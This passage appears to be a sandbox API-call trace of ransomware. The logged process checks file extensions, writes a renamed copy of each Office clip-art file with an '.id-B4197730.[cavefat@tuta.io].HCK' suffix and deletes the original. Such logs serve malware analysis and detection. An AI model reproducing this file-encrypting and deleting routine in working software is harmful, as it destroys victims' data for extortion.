SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.233] SetEndOfFile (hFile=0x454) returned 1 [0244.235] CloseHandle (hObject=0x454) returned 1 [0244.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf")) returned 1 [0244.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.236] lstrlenW (lpString=".doc") returned 4 [0244.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.236] lstrlenW (lpString=".docx") returned 5 [0244.236] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0244.236] lstrlenW (lpString=".pdf") returned 4 [0244.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.236] lstrlenW (lpString=".xls") returned 4 [0244.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.237] lstrlenW (lpString=".xlsx") returned 5 [0244.237] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0244.237] lstrlenW (lpString=".ppt") returned 4 [0244.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.237] lstrlenW (lpString=".zip") returned 4 [0244.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.237] lstrlenW (lpString=".rar") returned 4 [0244.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString=".bz2") returned 4 [0244.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString=".7z") returned 3 [0244.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.237] lstrlenW (lpString=".dbf") returned 4 [0244.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.237] lstrlenW (lpString=".1cd") returned 4 [0244.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.237] lstrlenW (lpString=".jpg") returned 4 [0244.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.237] lstrlenW (lpString=".doc") returned 4 [0244.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString=".docx") returned 5 [0244.237] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0244.237] lstrlenW (lpString=".pdf") returned 4 [0244.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString=".xls") returned 4 [0244.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.237] lstrlenW (lpString=".xlsx") returned 5 [0244.237] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0244.237] lstrlenW (lpString=".ppt") returned 4 [0244.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.237] lstrlenW (lpString=".zip") returned 4 [0244.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.237] lstrlenW (lpString=".rar") returned 4 [0244.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.237] lstrlenW (lpString=".bz2") returned 4 [0244.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.238] lstrlenW (lpString=".7z") returned 3 [0244.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.238] lstrlenW (lpString=".dbf") returned 4 [0244.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.238] lstrlenW (lpString=".1cd") returned 4 [0244.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0244.238] lstrlenW (lpString=".jpg") returned 4 [0244.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.238] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.238] lstrlenW (lpString="J0195260.WMF") returned 12 [0244.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0244.453] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8314) returned 1 [0244.453] CloseHandle (hObject=0x410) returned 1 [0244.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 0x220 [0244.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0245.038] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.038] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.039] GetLastError () returned 0x0 [0245.039] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x207a, lpOverlapped=0x0) returned 1 [0245.040] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2080, lpOverlapped=0x0) returned 1 [0245.041] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.041] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0245.041] SetEndOfFile (hFile=0x4d4) returned 1 [0245.041] CloseHandle (hObject=0x4d4) returned 1 [0245.041] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.041] SetEndOfFile (hFile=0x56c) returned 1 [0245.043] CloseHandle (hObject=0x56c) returned 1 [0245.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 1 [0245.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.045] lstrlenW (lpString=".doc") returned 4 [0245.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString=".docx") returned 5 [0245.045] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0245.045] lstrlenW (lpString=".pdf") returned 4 [0245.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString=".xls") returned 4 [0245.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.045] lstrlenW (lpString=".xlsx") returned 5 [0245.045] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0245.045] lstrlenW (lpString=".ppt") returned 4 [0245.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.045] lstrlenW (lpString=".zip") returned 4 [0245.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.045] lstrlenW (lpString=".rar") returned 4 [0245.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString=".bz2") returned 4 [0245.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString=".7z") returned 3 [0245.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.045] lstrlenW (lpString=".dbf") returned 4 [0245.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.045] lstrlenW (lpString=".1cd") returned 4 [0245.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.045] lstrlenW (lpString=".jpg") returned 4 [0245.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.046] lstrlenW (lpString=".doc") returned 4 [0245.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.046] lstrlenW (lpString=".docx") returned 5 [0245.046] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0245.046] lstrlenW (lpString=".pdf") returned 4 [0245.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.046] lstrlenW (lpString=".xls") returned 4 [0245.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.046] lstrlenW (lpString=".xlsx") returned 5 [0245.046] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0245.046] lstrlenW (lpString=".ppt") returned 4 [0245.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.046] lstrlenW (lpString=".zip") returned 4 [0245.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.046] lstrlenW (lpString=".rar") returned 4 [0245.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.046] lstrlenW (lpString=".bz2") returned 4 [0245.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.046] lstrlenW (lpString=".7z") returned 3 [0245.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.046] lstrlenW (lpString=".dbf") returned 4 [0245.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.046] lstrlenW (lpString=".1cd") returned 4 [0245.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0245.046] lstrlenW (lpString=".jpg") returned 4 [0245.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.046] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0245.046] lstrlenW (lpString="J0196358.WMF") returned 12 [0245.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0245.048] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6912) returned 1 [0245.048] CloseHandle (hObject=0x56c) returned 1 [0245.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf")) returned 0x220 [0245.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0245.048] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.048] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.049] GetLastError () returned 0x0 [0245.049] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1b00, lpOverlapped=0x0) returned 1 [0245.051] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0245.051] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.052] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0245.052] SetEndOfFile (hFile=0x4d4) returned 1 [0245.052] CloseHandle (hObject=0x4d4) returned 1 [0245.052] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.052] SetEndOfFile (hFile=0x56c) returned 1 [0245.054] CloseHandle (hObject=0x56c) returned 1 [0245.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf")) returned 1 [0245.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.055] lstrlenW (lpString=".doc") returned 4 [0245.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.055] lstrlenW (lpString=".docx") returned 5 [0245.055] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0245.055] lstrlenW (lpString=".pdf") returned 4 [0245.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.055] lstrlenW (lpString=".xls") returned 4 [0245.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.055] lstrlenW (lpString=".xlsx") returned 5 [0245.055] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0245.055] lstrlenW (lpString=".ppt") returned 4 [0245.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.055] lstrlenW (lpString=".zip") returned 4 [0245.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.056] lstrlenW (lpString=".rar") returned 4 [0245.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString=".bz2") returned 4 [0245.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString=".7z") returned 3 [0245.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".dbf") returned 4 [0245.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".1cd") returned 4 [0245.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".jpg") returned 4 [0245.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".doc") returned 4 [0245.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString=".docx") returned 5 [0245.056] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0245.056] lstrlenW (lpString=".pdf") returned 4 [0245.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString=".xls") returned 4 [0245.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.056] lstrlenW (lpString=".xlsx") returned 5 [0245.056] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0245.056] lstrlenW (lpString=".ppt") returned 4 [0245.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".zip") returned 4 [0245.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.056] lstrlenW (lpString=".rar") returned 4 [0245.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString=".bz2") returned 4 [0245.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString=".7z") returned 3 [0245.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".dbf") returned 4 [0245.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".1cd") returned 4 [0245.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0245.056] lstrlenW (lpString=".jpg") returned 4 [0245.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.056] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0245.057] lstrlenW (lpString="J0196364.WMF") returned 12 [0245.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0245.058] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5708) returned 1 [0245.058] CloseHandle (hObject=0x56c) returned 1 [0245.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf")) returned 0x220 [0245.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0245.058] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.058] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.059] GetLastError () returned 0x0 [0245.059] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x164c, lpOverlapped=0x0) returned 1 [0245.061] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1650, lpOverlapped=0x0) returned 1 [0245.061] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.061] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0245.061] SetEndOfFile (hFile=0x4d4) returned 1 [0245.062] CloseHandle (hObject=0x4d4) returned 1 [0245.062] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.062] SetEndOfFile (hFile=0x56c) returned 1 [0245.064] CloseHandle (hObject=0x56c) returned 1 [0245.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 